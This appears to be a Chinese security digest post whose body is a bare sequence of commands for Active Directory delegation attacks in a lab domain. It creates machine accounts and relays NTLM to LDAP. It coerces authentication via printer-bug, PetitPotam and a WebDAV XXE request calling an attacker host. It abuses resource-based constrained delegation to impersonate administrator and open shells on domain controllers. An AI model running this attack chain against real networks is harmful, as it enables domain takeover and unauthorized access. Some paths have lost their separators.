委派攻击知识点全收录！利用委派的姿势能有多花哨？ | 技术精选 0121

powershell-exec bypass "Import-ModuleC:Userstest2DesktopPowermad-masterPowermad-masterPowermad.ps1;New-MachineAccount-MachineAccount serviceA -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"

python3ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --remove-mic--delegate-access --escalate-user serviceA$ -debug

python3printerbug.py de1ay.com/test2:test.123456@10.10.10.20 10.10.10.180

import-moduleActiveDirectoryGet-ADComputerDC2 -Properties PrincipalsAllowedToDelegateToAccount

python3getST.py -spn cifs/DC2.de1ay.com de1ay/serviceA$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass  dc2.de1ay.com

Rubeus.exehash /user:serviceA$ /password:123456 /domain:de1ay.com

Rubeus.exes4u /user:serviceA$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /domain:de1ay.com  /impersonateuser:administrator/msdsspn:cifs/DC2.de1ay.com /ptt

powershell-exec bypass "Import-ModuleC:Userstest2DesktopPowermad-masterPowermad-masterPowermad.ps1;New-MachineAccount-MachineAccount serviceB -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"

python3ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --remove-mic--delegate-access --escalate-user serviceB$ -debug

python3PetitPotam.py 10.10.10.180 10.10.10.20

python3getST.py -spn cifs/DC2.de1ay.com de1ay/serviceB$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass  dc2.de1ay.com

powershell-exec bypass "Import-ModuleC:Userstest2DesktopPowermad-masterPowermad-masterPowermad.ps1;New-MachineAccount-MachineAccount serviceC -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"

python3ntlmrelayx.py -t ldap://10.10.10.10  --delegate-access--escalate-user serviceC$ -debug

PROPFIND/webdav HTTP/1.1Host:10.10.10.100:8080User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101Firefox/68.0Content-Length:240Connection:close
<?xmlversion="1.0" encoding="UTF-8"?><!DOCTYPEpropertyupdate [<!ENTITYloot SYSTEM "http://10.10.10.180/"> ]><D:propertyupdatexmlns:D="DAV:"><D:set><D:prop><axmlns="http://x.com/">&loot;</a></D:prop></D:set></D:propertyupdate>

python3getST.py -spn cifs/server.de1ay.com de1ay/serviceC$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass  server.de1ay.com

powershell-exec bypass "Import-Module C:toolpowerview.ps1;Get-DomainUserdavtest  -Properties objectsid "
powershell-exec bypass "Import-ModuleC:toolpowerview.ps1;Get-DomainObjectAcl -Identity sqlserver |?{$_.SecurityIdentifier -match'S-1-5-21-2756371121-2868759905-3853650604-1625'}"

powershell-exec bypass "Import-ModuleC:toolPowermad-masterPowermad-masterPowermad.ps1;New-MachineAccount-MachineAccount serviceD -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"

powershell-exec bypass "Import-ModuleC:toolpowerview.ps1;Get-DomainComputer serviceD"

powershell-exec bypass "Import-Module C:toolpowerview.ps1;$SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2756371121-2868759905-3853650604-1628)';$SDBytes= New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes,0);Get-DomainComputer sqlserver| Set-DomainObject -Set@{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"

python3getST.py -spn cifs/sqlserver.de1ay.com de1ay/serviceD$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass  sqlserver.de1ay.com

SharpAllowedToAct.exe-m serviceE -p 123456 -t sqlserver -a dc.de1ay.com -d de1ay.com

python3getST.py -spn cifs/sqlserver.de1ay.com de1ay/serviceF$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass  sqlserver.de1ay.com